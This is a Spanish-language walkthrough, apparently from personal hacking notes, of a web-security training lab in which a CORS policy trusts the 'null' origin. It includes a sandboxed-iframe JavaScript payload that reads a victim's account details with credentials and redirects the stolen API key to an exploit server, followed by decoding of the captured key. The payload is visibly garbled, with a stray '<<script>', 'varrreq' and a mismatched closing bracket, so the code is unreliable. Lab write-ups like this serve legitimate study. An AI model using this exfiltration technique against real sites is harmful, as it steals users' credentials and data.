> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cors/cors-null-origin-trusted.md).

# Origen nulo de CORS confiado

### Vulnerabilidad de CORS con origen nulo de confianza

Explota una configuración de CORS vulnerable que confía en el origen original `"null"`. El objetivo del laboratorio es obtener la clave API del administrador mediante una consulta CORS (con `credenciales`) y subir el código al servidor de explotación. El laboratorio se resuelve cuando la clave API del administrador se envía correctamente.

* El servidor devuelve `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/4c92049f4354af77ed50ef0c8fc45e4504373077" alt=""><figcaption></figcaption></figure>

Cuando el `Origin: jord4n.pro` encabezado se envía, el dominio no se refleja.

<figure><img src="/files/183adb4827c5ef374a0912019e6ce25873302e5d" alt=""><figcaption></figcaption></figure>

Sin embargo, al enviar `Origin: null`, la respuesta acepta y refleja este valor.

<figure><img src="/files/cc9ba7dbab693a6edaa7d97de297668a28a69324" alt=""><figcaption></figcaption></figure>

Fuerza una solicitud desde una página de `null` origen (p. ej., mediante `iframe` usando `srcdoc`) para que la respuesta CORS considere el origen confiable y devuelva los datos (con cookies usando `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/780175616b9330173389524fa2af116d3db38898" alt=""><figcaption></figcaption></figure>

> Nota: el principio es ejecutar este código desde `null` el origen (iframe `srcdoc`) para que la respuesta CORS, que acepta `null`, devuelva datos sensibles, incluidas las cookies.

La clave recuperada, decodificada de Base64:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

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